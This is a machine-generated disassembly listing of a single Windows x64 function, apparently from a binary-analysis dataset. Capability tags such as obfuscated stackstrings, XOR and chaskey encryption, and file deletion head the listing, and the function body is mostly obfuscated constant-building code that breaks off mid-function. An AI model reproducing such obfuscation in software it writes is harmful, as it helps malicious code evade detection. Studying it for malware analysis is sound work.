Function at 0x140001010
Capabilities:
Accept command line arguments
Authenticate hmac
Contain obfuscated stackstrings
Copy file
Create process on windows
Delete file
Empty the recycle bin
Encode data using base64
Encode data using xor
Encrypt data using chaskey
Get file system object information
Get file version info
Get session user name
Move file
Parse pe header

Disassembly:
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
mov eax, 0x25738
call fcn.140183290
sub rsp, rax
mov eax, 0x5d2
mov word [rsp + 0xb74], ax
movabs rax, 0x7e9e737e4faf76
mov qword [rsp + 0x8e18], rax
mov eax, 0xaaa
mov word [rsp + 0xb78], ax
mov dword [rsp + 0x584c], 0x667132ef
movabs rax, 0x7ce4bd482c5738
mov qword [rsp + 0x8e20], rax
movabs rax, 0x70b71d38f25f33
mov qword [rsp + 0x8e28], rax
mov eax, 0x65d
mov word [rsp + 0xb7c], ax
movabs rax, 0x7aae7f821326e1
mov qword [rsp + 0x8e30], rax
mov eax, 0x113
mov word [rsp + 0xb80], ax
mov eax, 0x4bb
mov word [rsp + 0xb84], ax
movabs rax, 0x70edf95096ae87
mov qword [rsp + 0x8e38], rax
mov eax, 0x43b
mov word [rsp + 0xb88], ax
mov eax, 0xabb
mov word [rsp + 0xb8c], ax
mov dword [rsp + 0x5850], 0x661ff8e8
mov dword [rsp + 0x5854], 0xd1b8
movabs rax, 0x79c2324bf92662
mov qword [rsp + 0x8e40], rax
mov byte [rsp + 0x40], 0x80
mov dword [rsp + 0x5858], 0xbda6d0a
mov eax, 0x491
mov word [rsp + 0xb90], ax
movabs rax, 0x764fc3070fa278
mov qword [rsp + 0x8e48], rax
mov dword [rsp + 0x585c], 0xb96
mov eax, 0x1da
mov word [rsp + 0xb94], ax
movabs rax, 0x7afdb37d535f41
mov qword [rsp + 0x8e50], rax
movabs rax, 0x7c23e6cf008d84
mov qword [rsp + 0x8e58], rax
mov dword [rsp + 0x5860], 0xa346
movabs rax, 0x7b640243fcc55a
mov qword [rsp + 0x8e60], rax
mov dword [rsp + 0x5864], 0x39f3000e
movabs rax, 0x7a7d3cd61550e0
mov qword [rsp + 0x8e68], rax
mov eax, 0x92d
mov word [rsp + 0xb98], ax
mov eax, 0x7e8
mov word [rsp + 0xb9c], ax
movabs rax, 0x713db96c6ee2d0
mov qword [rsp + 0x8e70], rax
movabs rax, 0x74ac10169023f9
mov qword [rsp + 0x8e78], rax
mov byte [rsp + 0x41], 1
mov byte [rsp + 0x42], ILGetSize
mov byte [rsp + 0x43], SHDoDragDrop
mov eax, 0x476
mov word [rsp + 0xba0], ax
mov dword [rsp + 0x5868], 0x6e60b413
mov byte [rsp + 0x44], 0x64
mov byte [rsp + 0x45], 0x4c
mov eax, 0x2ba
mov word [rsp + 0xba4], ax
mov eax, 0xa70
mov word [rsp + 0xba8], ax
mov eax, 0x82
mov word [rsp + 0xbac], ax
mov eax, SHGetNewLinkInfoW
mov word [rsp + 0xbb0], ax
mov eax, 0x42d
mov word [rsp + 0xbb4], ax
mov eax, 0x9a7
mov word [rsp + 0xbb8], ax
mov eax, 0xcfa
mov word [rsp + 0xbbc], ax
mov byte [rsp + 0x46], 0x80
mov eax, 0xdc5
mov word [rsp + 0xbc0], ax
mov dword [rsp + 0x586c], 0x8a3c
movabs rax, 0x7ab9e60b307a3b
mov qword [rsp + 0x8e80], rax
movabs rax, 0x7a590e50e3b713
mov qword [rsp + 0x8e88], rax
mov eax, 0x1cb
mov word [rsp + 0xbc4], ax
mov dword [rsp + 0x5870], 0xe65a
mov eax, 0x4c5
mov word [rsp + 0xbc8], ax
mov eax, 0x3a5
mov word [rsp + 0xbcc], ax
mov eax, 0x237
mov word [rsp + 0xbd0], ax
mov eax, 0xecc
mov word [rsp + 0xbd4], ax
mov eax, 0x297
mov word [rsp + 0xbd8], ax
mov dword [rsp + 0x5874], 0xf6df
mov eax, 0x18a
mov word [rsp + 0xbdc], ax
mov byte [rsp + 0x47], 0x5f
mov byte [rsp + 0x48], 0x4d
mov eax, 0x80f
mov word [rsp + 0xbe0], ax
mov eax, 0x6ca
mov word [rsp + 0xbe4], ax
movabs rax, 0x76ccdcef57c30b
mov qword [rsp + 0x8e90], rax
mov byte [rsp + PathYetAnotherMakeUniqueName], 0x49
mov dword [rsp + 0x5878], 0x903f
mov dword [rsp + 0x587c], 0x51deb937
mov eax, 0x364
mov word [rsp + 0xbe8], ax
mov dword [rsp + 0x5880], 0x7cf0e381
mov dword [rsp + 0x5884], 0x66e59850
mov dword [rsp + 0x5888], 0x317b1333
movabs rax, 0x7528106afe62f2
mov qword [rsp + 0x8e98], rax
mov dword [rsp + 0x588c], 0x3790
mov eax, 0x4ac
mov word [rsp + 0xbec], ax
mov eax, reloc.SHELL32.dll_ILCreateFromPathW
mov word [rsp + 0xbf0], ax
movabs rax, 0x7eae0609e4df17
mov qword [rsp + 0x8ea0], rax
mov eax, reloc.SHELL32.dll_SHTestTokenMembership
mov word [rsp + 0xbf4], ax
movabs rax, 0x7906eaa85b3ea2
mov qword [rsp + 0x8ea8], rax
movabs rax, 0x794890fe869cad
mov qword [rsp + 0x8eb0], rax
mov eax, 0xa73
mov word [rsp + 0xbf8], ax
movabs rax, 0x7c3acbed011eaa
mov qword [rsp + 0x8eb8], rax
mov byte [rsp + PathYetAnotherMakeUniqueName], 0x4a
mov eax, 0x1a1
mov word [rsp + 0xbfc], ax
mov eax, 0x74e
mov word [rsp + 0xc00], ax
mov dword [rsp + 0x5890], 0xfe76
mov byte [rsp + 0x4b], 0x22
mov byte [rsp + 0x4c], 0x29
mov byte [rsp + 0x4d], 0x7f
movabs rax, 0x78cf833f73e3a7
mov qword [rsp + 0x8ec0], rax
movabs rax, 0x73644ca88c88b1
mov qword [rsp + 0x8ec8], rax
mov eax, 0x413
mov word [rsp + 0xc04], ax
mov eax, 0xc5f
mov word [rsp + 0xc08], ax
mov dword [rsp + 0x5894], 0x256
movabs rax, 0x7a17b21aa52fd3
mov qword [rsp + 0x8ed0], rax
movabs rax, 0x74f92ad1043921
mov qword [rsp + 0x8ed8], rax
movabs rax, 0x72578f2eea9eb0
mov qword [rsp + 0x8ee0], rax
mov dword [rsp + 0x5898], 0x2c9b
mov byte [rsp + 0x4e], 0x53
mov byte [rsp + 0x4f], 0x61
mov eax, 0x164
mov word [rsp + 0xc0c], ax
mov eax, 0x1ba
mov word [rsp + 0xc10], ax
mov eax, 0x493
mov word [rsp + 0xc14], ax
mov eax, 0xd1
mov word [rsp + 0xc18], ax
mov byte [rsp + 0x50], 0x74
mov byte [rsp + 0x51], 0x6f
mov byte [rsp + 0x52], 0x64
mov dword [rsp + 0x589c], 0xb7fd
mov dword [rsp + 0x58a0], 0x19bf
movabs rax, 0x7e7699208cc91d
mov qword [rsp + 0x8ee8], rax
mov eax, 0x461
mov word [rsp + 0xc1c], ax
movabs rax, 0x71855c42055ba9
mov qword [rsp + 0x8ef0], rax
movabs rax, 0x701f5e44e73670
mov qword [rsp + 0x8ef8], rax
mov byte [rsp + 0x53], 0x51
mov eax, 0x2f1
mov word [rsp + 0xc20], ax
movabs rax, 0x782bbab68f1fd2
mov qword [rsp + 0x8f00], rax
mov eax, 0x4e4
mov word [rsp + 0xc24], ax
mov eax, 0x1ef
mov word [rsp + 0xc28], ax
mov eax, 0xce8
mov word [rsp + 0xc2c], ax
mov eax, 0x4c1
mov word [rsp + 0xc30], ax
mov dword [rsp + 0x58a4], 0xc885
movabs rax, 0x74fc75bf482eb1
mov qword [rsp + 0x8f08], rax
mov eax, 0x215
mov word [rsp + 0xc34], ax
mov byte [rsp + 0x54], 0x62
mov eax, 0x2e9
mov word [rsp + 0xc38], ax
movabs rax, 0x7750887280bc27
mov qword [rsp + 0x8f10], rax
mov byte [rsp + 0x55], 0x5f
mov dword [rsp + 0x58a8], 0x1623ee96
mov eax, 0x3dc
mov word [rsp + 0xc3c], ax
mov byte [rsp + 0x56], SHDoDragDrop
mov byte [rsp + 0x57], 0x63
mov eax, 0xa41
mov word [rsp + 0xc40], ax
movabs rax, 0x787670fa31aad4
mov qword [rsp + 0x8f18], rax
mov dword [rsp + 0x58ac], 0x57d2
mov dword [rsp + 0x58b0], 0x6ae798dc
mov byte [rsp + 0x58], PathYetAnotherMakeUniqueName
mov eax, reloc.SHELL32.dll_ILCreateFromPathW
mov word [rsp + 0xc44], ax
mov byte [rsp + 0x59], reloc.COMCTL32.dll_MakeDragList
mov eax, 0x1b4
mov word [rsp + 0xc48], ax
mov dword [rsp + 0x58b4], 0x76dc2af3
movabs rax, 0x7caa2dded8da00
mov qword [rsp + 0x8f20], rax
mov eax, 0x449
mov word [rsp + 0xc4c], ax
mov eax, 0x730
mov word [rsp + 0xc50], ax
movabs rax, 0x726ea1518e6662
mov qword [rsp + 0x8f28], rax
movabs rax, 0x728f3b41d37efd
mov qword [rsp + 0x8f30], rax
mov eax, 0x97a
mov word [rsp + 0xc54], ax
mov byte [rsp + 0x5a], reloc.SHELL32.dll_ILIsEqual
mov eax, 0xc06
mov word [rsp + 0xc58], ax
mov eax, 0xc67
mov word [rsp + 0xc5c], ax
movabs rax, 0x7b78e8d6a4866c
mov qword [rsp + 0x8f38], rax
mov eax, 0x839
mov word [rsp + 0xc60], ax
mov byte [rsp + 0x5b], reloc.SHELL32.dll_ILGetSize
movabs rax, 0x760f6210429c35
mov qword [rsp + 0x8f40], rax
mov byte [rsp + 0x5c], 0x51
movabs rax, 0x75fb2417b6f018
mov qword [rsp + 0x8f48], rax
mov dword [rsp + 0x58b8], 0xdb23
movabs rax, 0x7451823a0a4271
mov qword [rsp + 0x8f50], rax
movabs rax, 0x7002190182c3c7
mov qword [rsp + 0x8f58], rax
movabs rax, 0x7b21e07442083e
mov qword [rsp + 0x8f60], rax
mov dword [rsp + 0x58bc], 0x5f19
movabs rax, 0x77171b5a1c334d
mov qword [rsp + 0x8f68], rax
mov dword [rsp + 0x58c0], 0x751
mov eax, 0x227
mov word [rsp + 0xc64], ax
movabs rax, 0x77d567439e3965
mov qword [rsp + 0x8f70], rax
mov eax, 0x477
mov word [rsp + 0xc68], ax
mov dword [rsp + 0x58c4], 0x3324b6ec
movabs rax, 0x77bfed06e701c2
mov qword [rsp + 0x8f78], rax
movabs rax, 0x76646465ad9fdf
mov qword [rsp + 0x8f80], rax
movabs rax, 0x72a6eeb448612d
mov qword [rsp + 0x8f88], rax
mov eax, 0x60
mov word [rsp + 0xc6c], ax
mov dword [rsp + 0x58c8], 0xb806
mov dword [rsp + 0x58cc], 0xe681
mov eax, 0xd9b
mov word [rsp + 0xc70], ax
mov eax, 0x72c
mov word [rsp + 0xc74], ax
movabs rax, 0x79f29a9078b40e
mov qword [rsp + 0x8f90], rax
movabs rax, 0x733123c9f9ce3e
mov qword [rsp + 0x8f98], rax
mov dword [rsp + 0x58d0], 0xaad7
mov eax, 0x7a4
mov word [rsp + 0xc78], ax
movabs rax, 0x73a0f3c072aacb
mov qword [rsp + 0x8fa0], rax
mov dword [rsp + 0x58d4], 0x33ea
mov byte [rsp + 0x5d], 0x39
movabs rax, 0x7ab83509abb61b
mov qword [rsp + 0x8fa8], rax
mov dword [rsp + 0x58d8], 0xf286
mov eax, 0x846
mov word [rsp + 0xc7c], ax
mov eax, 0x48e
mov word [rsp + 0xc80], ax
mov dword [rsp + 0x58dc], 0xe034
movabs rax, 0x78b4c528d08364
mov qword [rsp + 0x8fb0], rax
mov eax, 0x12f
mov word [rsp + 0xc84], ax
movabs rax, 0x702374cea763db
mov qword [rsp + 0x8fb8], rax
mov dword [rsp + 0x58e0], 0x61d4
mov dword [rsp + 0x58e4], 0x5e23
mov byte [rsp + 0x5e], ILSaveToStream
mov dword [rsp + 0x58e8], 0x118349c6
mov byte [rsp + 0x5f], 0x5e
mov byte [rsp + 0x60], 0xce
mov byte [rsp + 0x61], PathYetAnotherMakeUniqueName
mov eax, 0x9c5
mov word [rsp + 0xc88], ax
mov byte [rsp + 0x62], 9
mov dword [rsp + 0x58ec], 0x19cd8b0d
mov eax, 0x3a3
mov word [rsp + 0xc8c], ax
movabs rax, 0x7b9011b0fa5e69
mov qword [rsp + 0x8fc0], rax
movabs rax, 0x764d8c0c222e35
mov qword [rsp + 0x8fc8], rax
mov byte [rsp + 0x63], 0x73
movabs rax, 0x7073067e856e67
mov qword [rsp + 0x8fd0], rax
movabs rax, 0x71278c6f8f0e2a
mov qword [rsp + 0x8fd8], rax
mov eax, 0x10f
mov word [rsp + 0xc90], ax
mov byte [rsp + 0x64], PathMakeUniqueName
movabs rax, 0x7c3208ee9dda20
mov qword [rsp + 0x8fe0], rax
movabs rax, 0x7ad3ed173de58a
mov qword [rsp + 0x8fe8], rax
mov eax, 0x732
mov word [rsp + 0xc94], ax
movabs rax, 0x72d8fa3588a615
mov qword [rsp + 0x8ff0], rax
mov dword [rsp + 0x58f0], 0xfd7d
mov eax, 0x511
mov word [rsp + 0xc98], ax
mov dword [rsp + 0x58f4], 0x4a04
movabs rax, 0x7d7f9aa2593402
mov qword [rsp + 0x8ff8], rax
mov byte [rsp + 0x65], 0x72
movabs rax, 0x751580815de389
mov qword [rsp + 0x9000], rax
movabs rax, 0x7d9d587e0b385f
mov qword [rsp + 0x9008], rax
mov eax, SHSetInstanceExplorer
mov word [rsp + 0xc9c], ax
movabs rax, 0x709a4ec6fc75cd
mov qword [rsp + 0x9010], rax
mov eax, 0x32f
mov word [rsp + 0xca0], ax
movabs rax, 0x78821b80ccc39f
mov qword [rsp + 0x9018], rax
mov eax, 0xa0
mov word [rsp + 0xca4], ax
mov dword [rsp + 0x58f8], 0x2b017b1c
mov eax, 0x9d5
mov word [rsp + 0xca8], ax
mov byte [rsp + 0x66], 0x3a
mov dword [rsp + 0x58fc], 0x3da5bd12
mov eax, 0x71a
mov word [rsp + 0xcac], ax
movabs rax, 0x7b3d21ea4f925b
mov qword [rsp + 0x9020], rax
mov byte [rsp + 0x67], 0x29
mov byte [rsp + 0x68], 0xee
mov dword [rsp + 0x5900], 0x33d1c9fa
movabs rax, 0x70c994b336019b
mov qword [rsp + 0x9028], rax
mov eax, 0x680
mov word [rsp + 0xcb0], ax
mov dword [rsp + 0x5904], 0x5686
movabs rax, 0x715684485fdf3c
mov qword [rsp + 0x9030], rax
mov dword [rsp + 0x5908], 0x1d44
mov dword [rsp + 0x590c], 0xf805620
movabs rax, 0x7a3ecbf98032e7
mov qword [rsp + 0x9038], rax
movabs rax, 0x780bff28944277
mov qword [rsp + 0x9040], rax
mov eax, 0x4a0
mov word [rsp + 0xcb4], ax
mov eax, 0xcd3
mov word [rsp + 0xcb8], ax
movabs rax, 0x7976db51345b45
mov qword [rsp + 0x9048], rax
mov dword [rsp + 0x5910], 0x4adb
mov dword [rsp + 0x5914], 0x4cf7
mov eax, 0x8e6
mov word [rsp + 0xcbc], ax
mov dword [rsp + 0x5918], 0x51ae236e
movabs rax, 0x7103719f4c3513
mov qword [rsp + 0x9050], rax
mov eax, 0x584
mov word [rsp + 0xcc0], ax
movabs rax, 0x778fc11746d73d
mov qword [rsp + 0x9058], rax
mov dword [rsp + 0x591c], 0x19f
movabs rax, 0x7bf7a1fbf3e9b7
mov qword [rsp + 0x9060], rax
mov dword [rsp + 0x5920], 0x2313
movabs rax, 0x76c916ead3752e
mov qword [rsp + 0x9068], rax
movabs rax, 0x7558cb165a51df
mov qword [rsp + 0x9070], rax
movabs rax, 0x7b4b1fe628f868
mov qword [rsp + 0x9078], rax
mov eax, 0x5ff
mov word [rsp + 0xcc4], ax
mov eax, 0xadc
mov word [rsp + 0xcc8], ax
mov dword [rsp + 0x5924], 0x11389e6f
movabs rax, 0x76bd195fa0de6b
mov qword [rsp + 0x9080], rax
mov eax, 0xff6
mov word [rsp + 0xccc], ax
movabs rax, 0x729f3edcf4f589
mov qword [rsp + 0x9088], rax
mov byte [rsp + 0x69], 0x51
movabs rax, 0x78a09bdadc0c3b
mov qword [rsp + 0x9090], rax
mov eax, 0xa24
mov word [rsp + 0xcd0], ax
mov dword [rsp + 0x5928], 0x306ff35
mov eax, 0x3a9
mov word [rsp + 0xcd4], ax
mov byte [rsp + 0x6a], 0x3e
movabs rax, 0x7a25fb360f0356
mov qword [rsp + 0x9098], rax
mov dword [rsp + 0x592c], 0x2e0d6dad
mov byte [rsp + 0x6b], 8
mov dword [rsp + 0x5930], 0x2fe75581
mov eax, 0xa8c
mov word [rsp + 0xcd8], ax
movabs rax, 0x78f179313f8333
mov qword [rsp + 0x90a0], rax
mov eax, 0x263
mov word [rsp + 0xcdc], ax
movabs rax, 0x761ea2eb702a0d
mov qword [rsp + 0x90a8], rax
movabs rax, 0x79ca6cb1834cff
mov qword [rsp + 0x90b0], rax
movabs rax, 0x74953666bd78e2
mov qword [rsp + 0x90b8], rax
mov byte [rsp + 0x6c], SHDoDragDrop
mov dword [rsp + 0x5934], 0x18b246f5
mov eax, 0x846
mov word [rsp + 0xce0], ax
movabs rax, 0x791125f7507b3e
mov qword [rsp + 0x90c0], rax
mov byte [rsp + 0x6d], 0x3c
movabs rax, 0x7590acb4ba41c7
mov qword [rsp + 0x90c8], rax
mov eax, 0x7db
mov word [rsp + 0xce4], ax
mov eax, 0xe5
mov word [rsp + 0xce8], ax
mov byte [rsp + 0x6e], PathMakeUniqueName
mov byte [rsp + 0x6f], 0x44
movabs rax, 0x7145f34fa491b4
mov qword [rsp + 0x90d0], rax
mov byte [rsp + 0x70], 0x29
mov eax, 6
mov word [rsp + 0xcec], ax
mov byte [rsp + 0x71], PathYetAnotherMakeUniqueName
movabs rax, 0x78f9f932d5d431
mov qword [rsp + 0x90d8], rax
mov dword [rsp + 0x5938], 0x3849de36
movabs rax, 0x7a1f393dffc7e7
mov qword [rsp + 0x90e0], rax
mov dword [rsp + 0x593c], 0x3493390b
mov eax, 0x12e
mov word [rsp + 0xcf0], ax
mov dword [rsp + 0x5940], 0x477c99db
mov eax, 0xcc7
mov word [rsp + 0xcf4], ax
movabs rax, 0x7afec51eaa14bf
mov qword [rsp + 0x90e8], rax
mov byte [rsp + 0x72], 0x1d
mov dword [rsp + 0x5944], 0xf23b
mov byte [rsp + 0x73], ILIsParent
mov dword [rsp + 0x5948], 0xbce8
mov dword [rsp + 0x594c], 0x2174
mov eax, 0x139
mov word [rsp + 0xcf8], ax
mov eax, 0x6ca
mov word [rsp + 0xcfc], ax
mov byte [rsp + 0x74], 0x70
mov dword [rsp + 0x5950], 0x6cd8
mov byte [rsp + 0x75], reloc.SHELL32.dll_ILCloneFirst
mov byte [rsp + 0x76], 0x6a
mov byte [rsp + 0x77], reloc.SHELL32.dll_ILIsParent
xor eax, eax
mov word [rsp + 0xd00], ax
mov eax, 0x608
mov word [rsp + 0xd04], ax
mov byte [rsp + 0x78], 0x1e
movabs rax, 0x70554f47c4b3b9
mov qword [rsp + 0x90f0], rax
mov byte [rsp + 0x79], 0x3a
mov byte [rsp + 0x7a], 0x44
movabs rax, 0x75149430508181
mov qword [rsp + 0x90f8], rax
mov byte [rsp + 0x7b], 0x63
mov byte [rsp + 0x7c], 0x68
movabs rax, 0x725e90cfe1a85e
mov qword [rsp + 0x9100], rax
mov eax, 0xb9
mov word [rsp + 0xd08], ax
mov dword [rsp + 0x5954], 0x1f3e
mov eax, 0x821
mov word [rsp + 0xd0c], ax
movabs rax, 0x73c1940854d036
mov qword [rsp + 0x9108], rax
mov dword [rsp + 0x5958], 0x552c76c
mov byte [rsp + 0x7d], reloc.SHELL32.dll_ILFree
movabs rax, 0x7748f947e761c6
mov qword [rsp + 0x9110], rax
movabs rax, 0x7c1a1d9baccb9f
mov qword [rsp + 0x9118], rax
mov byte [rsp + 0x7e], PathYetAnotherMakeUniqueName
mov byte [rsp + 0x7f], 0x35
mov dword [rsp + 0x595c], 0x581392ef
mov byte [rsp + 0x80], ILIsParent
movabs rax, 0x70993d8a382cc0
mov qword [rsp + 0x9120], rax
movabs rax, 0x75937d9216648a
mov qword [rsp + 0x9128], rax
mov byte [rsp + 0x81], reloc.SHELL32.dll_ILIsParent
mov dword [rsp + 0x5960], 0xabd8
mov dword [rsp + 0x5964], 0x6ca99a83
mov dword [rsp + 0x5968], 0x3bae570
mov eax, 0x5cd
mov word [rsp + 0xd10], ax
mov dword [rsp + 0x596c], 0x751d
mov dword [rsp + 0x5970], 0xb0f1
movabs rax, 0x70e435707cf943
mov qword [rsp + 0x9130], rax
mov eax, ILIsParent
mov word [rsp + 0xd14], ax
mov byte [rsp + 0x82], 0x60
mov eax, 0x16b
mov word [rsp + 0xd18], ax
mov dword [rsp + 0x5974], 0xa33e
mov eax, 0x993
mov word [rsp + 0xd1c], ax
movabs rax, 0x72399d48ad3b2e
mov qword [rsp + 0x9138], rax
mov eax, 0xff
mov word [rsp + 0xd20], ax
mov eax, 0x5e2
mov word [rsp + 0xd24], ax
mov byte [rsp + 0x83], SHTestTokenMembership
movabs rax, 0x726869c6e71718
mov qword [rsp + 0x9140], rax
mov byte [rsp + 0x84], 9
movabs rax, 0x7724af93492801
mov qword [rsp + 0x9148], rax
movabs rax, 0x74c7f42dd0b566
mov qword [rsp + 0x9150], rax
mov eax, 0x2bf
mov word [rsp + 0xd28], ax
movabs rax, 0x7ebd99d0983928
mov qword [rsp + 0x9158], rax
movabs rax, 0x703fb2efdc79f8
mov qword [rsp + 0x9160], rax
mov eax, 0x161
mov word [rsp + 0xd2c], ax
mov dword [rsp + 0x5978], 0x145e
mov dword [rsp + 0x597c], 0xf496
movabs rax, 0x7d95cbfad46e42
mov qword [rsp + 0x9168], rax
mov eax, 0x31d
mov word [rsp + 0xd30], ax
mov dword [rsp + 0x5980], 0x7ecc
mov dword [rsp + 0x5984], 0x1bc680c9
movabs rax, 0x7eaf8e35759cd1
mov qword [rsp + 0x9170], rax
movabs rax, 0x7efdf21c764c10
mov qword [rsp + 0x9178], rax
movabs rax, 0x71cca226364d0c
mov qword [rsp + 0x9180], rax
mov dword [rsp + 0x5988], 0x8ba4
movabs rax, 0x72344c29ffd35b
mov qword [rsp + 0x9188], rax
mov dword [rsp + 0x598c], 0x193984fa
mov dword [rsp + 0x5990], 0xa3ed
movabs rax, 0x728ea8801ae81f
mov qword [rsp + 0x9190], rax
mov dword [rsp + 0x5994], 0x7a7a77b2
movabs rax, 0x78dd242eb3af41
mov qword [rsp + 0x9198], rax
movabs rax, 0x73de6f9febf9c0
mov qword [rsp + 0x91a0], rax
mov byte [rsp + 0x85], 0x7a
mov eax, reloc.SHELL32.dll_ILGetNext
mov word [rsp + 0xd34], ax
mov eax, SHSetInstanceExplorer
mov word [rsp + 0xd38], ax
movabs rax, 0x7354f1c265ee30
mov qword [rsp + 0x91a8], rax
mov dword [rsp + 0x5998], 0xea4b
mov eax, 8
mov word [rsp + 0xd3c], ax
movabs rax, 0x738dbb9e111431
mov qword [rsp + 0x91b0], rax
mov eax, 0x67
mov word [rsp + 0xd40], ax
mov dword [rsp + 0x599c], 0x2ee9
mov dword [rsp + 0x59a0], 0x2c17c420
mov eax, 0x512
mov word [rsp + 0xd44], ax
movabs rax, 0x76df01b7eb96e9
mov qword [rsp + 0x91b8], rax
movabs rax, 0x71e7e6dded928e
mov qword [rsp + 0x91c0], rax
movabs rax, 0x7cde8a555037c1
mov qword [rsp + 0x91c8], rax
movabs rax, 0x73991606882dfc
mov qword [rsp + 0x91d0], rax
mov eax, 0x1d5
mov word [rsp + 0xd48], ax
mov byte [rsp + 0x86], reloc.COMCTL32.dll_LBItemFromPt
movabs rax, 0x7449003fd13d3f
mov qword [rsp + 0x91d8], rax
mov byte [rsp + 0x87], 0xe4
mov byte [rsp + 0x88], 6
mov byte [rsp + 0x89], 0xa5
movabs rax, 0x7c5085d9531f56
mov qword [rsp + 0x91e0], rax
mov byte [rsp + 0x8a], 0x26
mov eax, 0xa5
mov word [rsp + 0xd4c], ax
mov eax, 0x223
mov word [rsp + 0xd50], ax
movabs rax, 0x73147795a280f2
mov qword [rsp + 0x91e8], rax
mov byte [rsp + 0x8b], 0x6b
mov eax, 0x546
mov word [rsp + 0xd54], ax
mov eax, 0xbd1
mov word [rsp + 0xd58], ax
mov byte [rsp + 0x8c], 0x3f
mov dword [rsp + 0x59a4], 0x14d2f615
mov byte [rsp + 0x8d], 0x4f
mov dword [rsp + 0x59a8], 0x5a97
mov eax, 0x6a2
mov word [rsp + 0xd5c], ax
mov byte [rsp + 0x8e], 0x75
mov byte [rsp + 0x8f], SHDoDragDrop
movabs rax, 0x79a716cc964127
mov qword [rsp + 0x91f0], rax
mov byte [rsp + 0x90], 0xc5
mov byte [rsp + 0x91], 0xfa
mov eax, 0xcf2
mov word [rsp + 0xd60], ax
mov eax, 0xf75
mov word [rsp + 0xd64], ax
mov dword [rsp + 0x59ac], 0x9c6a
mov dword [rsp + 0x59b0], 0x24ec818f
mov dword [rsp + 0x59b4], 0x2e16
movabs rax, 0x77bf0bde35ed19
mov qword [rsp + 0x91f8], rax
mov byte [rsp + 0x92], 0x4d
mov eax, 0x57c
mov word [rsp + 0xd68], ax
mov eax, 0x382
mov word [rsp + 0xd6c], ax
mov eax, 0x505
mov word [rsp + 0xd70], ax
mov dword [rsp + 0x59b8], 0x7d01
movabs rax, 0x79f4093650519d
mov qword [rsp + 0x9200], rax
mov eax, 0x5af
mov word [rsp + 0xd74], ax
movabs rax, 0x7133c5ae7e76b4
mov qword [rsp + 0x9208], rax
mov byte [rsp + 0x93], 0x6d
mov byte [rsp + 0x94], 0x80
mov byte [rsp + 0x95], 0xa
movabs rax, 0x710f04ae2b2b8f
mov qword [rsp + 0x9210], rax
mov eax, 0xf91
mov word [rsp + 0xd78], ax
mov eax, 0xd06
mov word [rsp + 0xd7c], ax
movabs rax, 0x7575ab34682e9c
mov qword [rsp + 0x9218], rax
movabs rax, 0x7760875247387e
mov qword [rsp + 0x9220], rax
mov eax, 0x63d
mov word [rsp + 0xd80], ax
mov byte [rsp + 0x96], SHUpdateImageW
mov eax, 0x6d7
mov word [rsp + 0xd84], ax
mov dword [rsp + 0x59bc], 0x6b0ea65a
mov eax, 0x5c8
mov word [rsp + 0xd88], ax
movabs rax, 0x7d605ae3d09b7f
mov qword [rsp + 0x9228], rax
movabs rax, 0x7c9a1849d763b7
mov qword [rsp + 0x9230], rax
movabs rax, 0x77e6f447d3ba15
mov qword [rsp + 0x9238], rax
mov dword [rsp + 0x59c0], 0x691a0598
movabs rax, 0x7ab8a6423360ae
mov qword [rsp + 0x9240], rax
movabs rax, 0x71452289314b50
mov qword [rsp + 0x9248], rax
mov eax, 0xb3f
mov word [rsp + 0xd8c], ax
movabs rax, 0x7143f69825b95f
mov qword [rsp + 0x9250], rax
mov eax, 0xf02
mov word [rsp + 0xd90], ax
movabs rax, 0x77fe2b659729bc
mov qword [rsp + 0x9258], rax
mov byte [rsp + 0x97], 0xdc
mov byte [rsp + 0x98], 0xdc
movabs rax, 0x74f5f4ce9b2caa
mov qword [rsp + 0x9260], rax
mov eax, 0xeb0
mov word [rsp + 0xd94], ax
mov dword [rsp + 0x59c4], 0x3092
mov eax, 0x6a3
mov word [rsp + 0xd98], ax
mov byte [rsp + 0x99], reloc.SHELL32.dll_ILIsParent
mov byte [rsp + 0x9a], PathYetAnotherMakeUniqueName
mov dword [rsp + 0x59c8], 0xffa3
mov dword [rsp + 0x59cc], 0x4c5f3824
mov byte [rsp + 0x9b], reloc.COMCTL32.dll_DrawInsert
mov byte [rsp + 0x9c], 0x4c
mov eax, 0x160
mov word [rsp + 0xd9c], ax
mov eax, 0x20b
mov word [rsp + 0xda0], ax
mov eax, 0x683
mov word [rsp + 0xda4], ax
movabs rax, 0x7c2b14a190eca8
mov qword [rsp + 0x9268], rax
mov byte [rsp + 0x9d], 0x25
mov dword [rsp + 0x59d0], 0x2eedf73f
mov dword [rsp + 0x59d4], 0xb163
movabs rax, 0x7e867b2c09c632
mov qword [rsp + 0x9270], rax
mov byte [rsp + 0x9e], 0x35
movabs rax, 0x7438c06b1f5e49
mov qword [rsp + 0x9278], rax
mov eax, 0x8d1
mov word [rsp + 0xda8], ax
mov eax, 0x5bc
mov word [rsp + 0xdac], ax
mov byte [rsp + 0x9f], SHTestTokenMembership
mov eax, 0xe42
mov word [rsp + 0xdb0], ax
mov eax, 0x156
mov word [rsp + 0xdb4], ax
movabs rax, 0x7e6943ef3c51c9
mov qword [rsp + 0x9280], rax
movabs rax, 0x77cb1b841dba12
mov qword [rsp + 0x9288], rax
mov eax, 0x7cd
mov word [rsp + 0xdb8], ax
mov eax, 0x141
mov word [rsp + 0xdbc], ax
mov dword [rsp + 0x59d8], 0x198c5228
mov byte [rsp + 0xa0], 0x70
movabs rax, 0x7e3b855363f4ee
mov qword [rsp + 0x9290], rax
mov eax, 0x63e
mov word [rsp + 0xdc0], ax
mov dword [rsp + 0x59dc], 0xeabc
mov eax, 0x4d3
mov word [rsp + 0xdc4], ax
mov byte [rsp + 0xa1], 7
movabs rax, 0x7df3328d43bfdd
mov qword [rsp + 0x9298], rax
mov byte [rsp + 0xa2], 0xfc
mov dword [rsp + 0x59e0], 0x10a0e790
mov dword [rsp + 0x59e4], 0xb4ea
mov byte [rsp + 0xa3], reloc.COMCTL32.dll_DrawInsert
mov eax, 0x6a3
mov word [rsp + 0xdc8], ax
mov byte [rsp + 0xa4], 8
mov dword [rsp + 0x59e8], 0x3b57c25b
movabs rax, 0x7d74c8e85367e0
mov qword [rsp + 0x92a0], rax
movabs rax, 0x72de3fe0e2d0c2
mov qword [rsp + 0x92a8], rax
mov byte [rsp + 0xa5], 0x1c
mov dword [rsp + 0x59ec], 0xc16e
mov eax, 0x200
mov word [rsp + 0xdcc], ax
mov eax, 0xb63
mov word [rsp + 0xdd0], ax
movabs rax, 0x7c5ae7b9243926
